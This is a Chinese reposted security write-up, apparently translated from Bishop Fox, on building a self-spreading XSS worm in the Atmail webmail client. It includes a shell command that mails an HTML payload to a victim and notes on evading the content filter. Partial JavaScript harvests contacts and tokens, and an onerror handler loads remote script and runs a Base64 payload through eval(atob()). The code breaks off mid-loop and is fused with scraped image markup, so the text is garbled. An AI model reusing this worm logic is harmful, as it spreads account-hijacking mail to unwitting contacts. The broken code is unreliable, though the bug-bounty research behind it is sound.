热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

开发笔记:手把手教你如何在Atmail上构建XSS蠕虫

本文由编程笔记#小编为大家整理,主要介绍了手把手教你如何在Atmail上构建XSS蠕虫相关的知识,希望对你有一定的参考价值。严正声明:本文仅用于教育和技术讨论目的,
本文由编程笔记#小编为大家整理,主要介绍了手把手教你如何在Atmail上构建XSS蠕虫相关的知识,希望对你有一定的参考价值。


严正声明:本文仅用于教育和技术讨论目的,请勿用于非法用途。


前言

Atmail是一个热门的云服务以及电子邮件托管提供商,目前有很多公司、主机服务商和ISP都在使用Atmail,比如说DreamHost、LegalShield (美国)、m:tel(波斯尼亚)、iiNet和Optus (澳大利亚)。

作为DreamHost上的一名Atmail用户,当我在专注于漏洞奖励项目的过程中,我曾见过几次令我印象深刻的基于电子邮件的跨站脚本(XSS)攻击。当时我曾尝试从他们的Web邮件客户端中寻找安全漏洞,几个小时后我便开发出了一个可用的Payload,但是我想更进一步,也就是构建一个旧式的XSS蠕虫。最著名的XSS蠕虫就是2005年感染MySpace的蠕虫病毒了,而且在2014年这个蠕虫的最新变种还成功感染了 TweetDeck。

在这篇文章中,我将会给大家演示如何构建一个可以通过目标用户联系人来进行自我传播的XSS Payload。


测试环境

在开始之前,我们需要搭建一个简单的测试环境。我们可以通过下列命令来发送电子邮件,然后在邮件内容中植入XSS测试Payload:

cat content | mail -a "Content-type: text/html" -s "test" victim1@zjulian.com

接下来,使用Firefox的开发者工具来查看XSS Payload在Web邮件客户端的DOM中是如何呈现的。


构建XSS Payload

第一步,就是要构建一个能够绕过Atmail内容过滤器的XSS Payload。我一开始发送了一封包含了全部有效HTML标签的邮件,然后看看它是否能够成功送达,尽管我只打算使用标签。不过,标签虽然非常适合构建XSS Payload,但是在XSS触发之前,目标用户必须要选择在Atmail中显示图像才行。因此我们得使用那些不需要用户交互便可以呈现内容的标签,这样才能提升Payload的质量。

接下来,我开始研究Atmail是如何清除Payload的。Atmail为了对邮件内容进行过滤,并在用户浏览器中显示语法正确的标记信息,Atmail会对标签中的字符和HTML属性进行修改。研究之后我发现,Atmail只接受src、alt、longdesc、style、height和width这几个属性,而且我还注意到,Atmail会将单引号转换为双引号,移除onerror事件,并且移除所有不包含src属性的标签。

虽然onerror事件被移除了,但是如果能够在标签中同时使用单引号和双引号的话,也许能够绕过Atmail的过滤机制。显然,这样是可行的:

下面就是呈现在Web邮件客户端中的内容:

showme


构建蠕虫

找到了有用的XSS向量之后,下一步就是创建一个Payload来传播我的电子邮件蠕虫。我编写了一份Javascript代码,然后完成了下列三件事:

1、 提取目标用户的联系人列表;

2、 从Atmail提取有效的CSRF令牌;

3、 向目标用户联系人列表中的每一位用户发送恶意邮件;

代码大致如下,XSS Payload以URL编码的形式提供:

//HTTP request to grab victim's cOntactsxmlHttp=newXMLHttpRequest();xmlHttp.open('GET','/index.php/mail/contacts/viewcontacts/GroupID/0',false);xmlHttp.send(null);respOnse=xmlHttp.responseText; //Extract email addresses and filter duplicatesvar extractedemails = response.match(/[A-Z0-9._%+-]+@[A-Z0-9.-]+.[A-Z]{2,4}/igm);var uniqueemails = []; for(vari = 0; i

首先,我尝试过Base64编码,然后把XSS Payload嵌入到了onerror事件中。接下来,代码会使用eval(atob())来解码并执行Payload代码:

Onerror="include=document.createElement('script');include.src='https://img.php1.cn/3cd4a/1eebe/cd5/ed19db63ee478b98.png 2x" usemap="#test"vspace="100px" >

*参考来源:bishopfox,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM


推荐阅读
author-avatar
手机用户2502929031
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有